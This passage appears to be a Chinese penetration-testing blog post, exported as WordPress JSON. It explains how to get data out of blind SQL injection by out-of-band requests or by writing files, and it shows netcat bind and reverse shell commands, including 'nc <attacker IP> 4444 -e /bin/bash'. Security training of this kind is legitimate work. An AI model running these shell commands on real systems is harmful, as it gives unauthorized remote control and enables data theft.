\u8fd9\u5f20\u56fe\u5c55\u793a\u4e86\u653b\u51fb\u8005\u901a\u8fc7\u4e24\u6b21\u8bf7\u6c42\u5b8c\u6210\u6570\u636e\u5916\u5e26\u7684\u8fc7\u7a0b\u3002\u7b2c\u4e00\u6b21\u8bf7\u6c42\u89e6\u53d1\u6570\u636e\u5e93\u5c06\u6570\u636e\u5199\u5165\u670d\u52a1\u5668\u672c\u5730\u6587\u4ef6\uff1b\u7b2c\u4e8c\u6b21\u8bf7\u6c42\u653b\u51fb\u8005\u76f4\u63a5\u8bbf\u95ee\u8be5\u6587\u4ef6\uff0cWeb \u670d\u52a1\u5668\u8fd4\u56de\u6587\u4ef6\u5185\u5bb9\u3002\u6570\u636e\u5e93\u548c Web \u670d\u52a1\u5668\u4e4b\u95f4\u7684\u6587\u4ef6\u5199\u5165\u662f\u672c\u5730\u64cd\u4f5c\uff0c\u4e0d\u9700\u8981\u7f51\u7edc\u51fa\u7ad9\uff0c\u56e0\u6b64\u5373\u4f7f\u76ee\u6807\u9694\u79bb\u4e86\u5916\u90e8\u7f51\u7edc\uff0c\u53ea\u8981 Web \u670d\u52a1\u53ef\u8bbf\u95ee\uff0c\u6570\u636e\u5c31\u80fd\u88ab\u53d6\u56de\u3002<\/p>\n\n\n\n
\u51b3\u7b56\u6307\u5357\uff1a\u4f55\u65f6\u4f7f\u7528\u5e26\u5916\u5ef6\u8fdf\uff0c\u4f55\u65f6\u4f7f\u7528\u53cd\u5f39\u5199\u6587\u4ef6\uff1f<\/h3>\n\n\n\n
\u5728\u5b9e\u9645\u6e17\u900f\u4e2d\uff0c\u4f60\u9700\u8981\u6839\u636e\u76ee\u6807\u73af\u5883\u505a\u51fa\u9009\u62e9\u3002\u5982\u679c\u76ee\u6807\u53ef\u4ee5\u51fa\u7f51\uff08\u6bd4\u5982\u80fd ping \u901a\u5916\u90e8\u6216 DNS \u8bf7\u6c42\u4e0d\u88ab\u62e6\u622a\uff09\uff0c\u4e14\u5b58\u5728\u53ef\u5229\u7528\u7684\u7f51\u7edc\u8bf7\u6c42\u51fd\u6570\uff08\u5982 MySQL \u7684 LOAD_FILE<\/code> \u6216 MSSQL \u7684 xp_dirtree<\/code>\uff09\uff0c\u4f18\u5148\u4f7f\u7528\u5e26\u5916\u5ef6\u8fdf\u3002\u56e0\u4e3a\u8fd9\u79cd\u65b9\u6cd5\u5b9e\u65f6\u6027\u9ad8\uff0c\u65e0\u9700\u731c\u6d4b\u8def\u5f84\uff0c\u6570\u636e\u76f4\u63a5\u5230\u624b\u3002\u5982\u679c\u76ee\u6807\u51fa\u7f51\u53d7\u9650\uff0c\u6216\u8005\u7f51\u7edc\u51fd\u6570\u88ab\u7981\u7528\uff0c\u4f46\u4f60\u6709\u673a\u4f1a\u5199\u5165\u6587\u4ef6\uff08\u6bd4\u5982 MySQL \u7684 INTO OUTFILE<\/code> \u53ef\u7528\uff0c\u6216\u8005\u6709\u547d\u4ee4\u6267\u884c\u6743\u9650\uff09\uff0c\u90a3\u4e48\u53cd\u5f39\u5199\u6587\u4ef6\u5c31\u662f\u4e3b\u529b\u3002\u9700\u8981\u6ce8\u610f\uff0c\u5199\u6587\u4ef6\u7684\u524d\u63d0\u662f\u4f60\u77e5\u9053\u4e00\u4e2a\u53ef\u5199\u4e14\u53ef\u8bbf\u95ee\u7684\u8def\u5f84\uff0c\u901a\u5e38\u662f Web \u76ee\u5f55\uff0c\u6216\u8005\u4f60\u80fd\u7ed3\u5408\u5176\u4ed6\u6f0f\u6d1e\uff08\u5982\u6587\u4ef6\u5305\u542b\uff09\u8bfb\u53d6\u975e Web \u76ee\u5f55\u7684\u6587\u4ef6\u3002<\/p>\n\n\n\n
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\u5b9e\u9645\u4e2d\u6700\u5e38\u7528\u7684\u5de5\u5177\u5305\u62ec Netcat\uff08nc\uff09\u3001Socat\u3001Metasploit \u7684 payload\uff08\u5982 windows\/meterpreter\/reverse_tcp\uff09\u3001Cobalt Strike \u7684 beacon \u7b49\u3002Netcat \u88ab\u79f0\u4e3a\u201cTCP\/IP \u7684\u745e\u58eb\u519b\u5200\u201d\uff0c\u7b80\u5355\u8f7b\u91cf\uff0c\u9002\u5408\u65b0\u624b\u7ec3\u4e60\uff1bSocat \u529f\u80fd\u66f4\u5f3a\u5927\uff0c\u652f\u6301\u591a\u79cd\u534f\u8bae\u548c\u96a7\u9053\uff1bMetasploit \u63d0\u4f9b\u4e86\u4e30\u5bcc\u7684 payload\uff0c\u65b9\u4fbf\u751f\u6210\u53ef\u6267\u884c\u6587\u4ef6\u6216\u547d\u4ee4\u3002\u4e0b\u9762\u6211\u4eec\u901a\u8fc7\u4e24\u4e2a\u771f\u5b9e\u573a\u666f\u6765\u6f14\u793a\u6b63\u53cd\u5411\u8fde\u63a5\u7684\u914d\u7f6e\u548c\u7528\u6cd5\u3002<\/p>\n\n\n\n
\u5148\u770b\u6b63\u5411\u8fde\u63a5\u573a\u666f\u3002\u5047\u8bbe\u76ee\u6807\u670d\u52a1\u5668\u662f\u4e00\u53f0\u5185\u7f51 Linux \u4e3b\u673a\uff0c\u6211\u4eec\u901a\u8fc7\u67d0\u79cd\u65b9\u5f0f\uff08\u6bd4\u5982 Web \u6f0f\u6d1e\u4e0a\u4f20\u4e86\u4e00\u4e2a Webshell\uff09\u83b7\u5f97\u4e86\u6709\u9650\u7684\u547d\u4ee4\u6267\u884c\u6743\u9650\uff0c\u7ecf\u8fc7\u63a2\u6d4b\u53d1\u73b0\u76ee\u6807\u7981\u6b62\u6240\u6709\u51fa\u7ad9\u8fde\u63a5\uff08ping \u4e0d\u901a\u5916\u7f51\uff09\uff0c\u4f46\u5165\u7ad9\u7b56\u7565\u5141\u8bb8\u8bbf\u95ee\u5176 8080 \u7aef\u53e3\uff08\u8fd9\u662f\u4e00\u4e2a\u5f00\u53d1\u6d4b\u8bd5\u7528\u7684\u7aef\u53e3\uff0c\u672a\u88ab\u9632\u706b\u5899\u5c01\u7981\uff09\u3002\u6211\u4eec\u53ef\u4ee5\u5229\u7528\u8fd9\u4e2a\u7aef\u53e3\u4f5c\u4e3a\u540e\u95e8\u7684\u76d1\u542c\u7aef\u53e3\uff0c\u8ba9\u76ee\u6807\u8fd0\u884c\u4e00\u4e2a\u6b63\u5411\u8fde\u63a5\u7684\u540e\u95e8\uff0c\u7136\u540e\u6211\u4eec\u4ece\u653b\u51fb\u673a\u4e3b\u52a8\u8fde\u63a5\u5b83\u3002\u4f7f\u7528 Netcat \u7684\u793a\u4f8b\uff1a<\/p>\n\n\n\n
# \u5728\u76ee\u6807\u670d\u52a1\u5668\u4e0a\uff08\u901a\u8fc7 Webshell \u6267\u884c\uff09\nnc -l -p 8080 -e \/bin\/bash\n# \u89e3\u91ca\uff1a-l \u8868\u793a\u76d1\u542c\u6a21\u5f0f\uff0c-p 8080 \u6307\u5b9a\u76d1\u542c\u7aef\u53e3\uff0c-e \/bin\/bash \u8868\u793a\u5f53\u6709\u8fde\u63a5\u8fdb\u6765\u65f6\u6267\u884c \/bin\/bash \u5e76\u5c06\u5176\u8f93\u5165\u8f93\u51fa\u91cd\u5b9a\u5411\u5230\u7f51\u7edc\u8fde\u63a5\u3002\n# \u6ce8\u610f\uff1a-e \u9009\u9879\u5728\u67d0\u4e9b\u7248\u672c\u7684 nc \u4e2d\u53ef\u80fd\u88ab\u7981\u7528\u6216\u4e0d\u5b58\u5728\uff0c\u53ef\u4ee5\u6539\u7528 mkfifo \u6216\u4f7f\u7528 Socat \u66f4\u7a33\u5b9a\u3002<\/code><\/pre>\n\n\n\n
\u7136\u540e\u4ece\u653b\u51fb\u673a\u8fde\u63a5\uff1a<\/p>\n\n\n\n
nc \u76ee\u6807IP 8080<\/code><\/pre>\n\n\n\n
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nc \u653b\u51fb\u673aIP 4444 -e \/bin\/bash<\/code><\/pre>\n\n\n\n
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\u6570\u636e\u4e0d\u56de\u663e\u539f\u56e0\u548c\u89e3\u51b3-\u5e26\u5916\u5ef6\u8fdf\u53cd\u5f39\u5199\u6587\u4ef6 \u5728\u6e17\u900f\u6d4b\u8bd5\u6216\u5b89\u5168\u6f14\u7ec3\u4e2d\uff0c\u6211\u4eec\u5e38\u5e38\u4f1a\u9047\u5230\u4e00\u79cd\u68d8\u624b\u7684\u60c5\u51b5\uff1a\u660e\u660e\u627e\u5230\u4e86\u4e00\u4e2a […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[54],"tags":[],"class_list":["post-1659","post","type-post","status-publish","format-standard","hentry","category-text"],"_links":{"self":[{"href":"http:\/\/www.preluna.xyz\/index.php\/wp-json\/wp\/v2\/posts\/1659","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.preluna.xyz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.preluna.xyz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.preluna.xyz\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.preluna.xyz\/index.php\/wp-json\/wp\/v2\/comments?post=1659"}],"version-history":[{"count":1,"href":"http:\/\/www.preluna.xyz\/index.php\/wp-json\/wp\/v2\/posts\/1659\/revisions"}],"predecessor-version":[{"id":1663,"href":"http:\/\/www.preluna.xyz\/index.php\/wp-json\/wp\/v2\/posts\/1659\/revisions\/1663"}],"wp:attachment":[{"href":"http:\/\/www.preluna.xyz\/index.php\/wp-json\/wp\/v2\/media?parent=1659"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.preluna.xyz\/index.php\/wp-json\/wp\/v2\/categories?post=1659"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.preluna.xyz\/index.php\/wp-json\/wp\/v2\/tags?post=1659"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}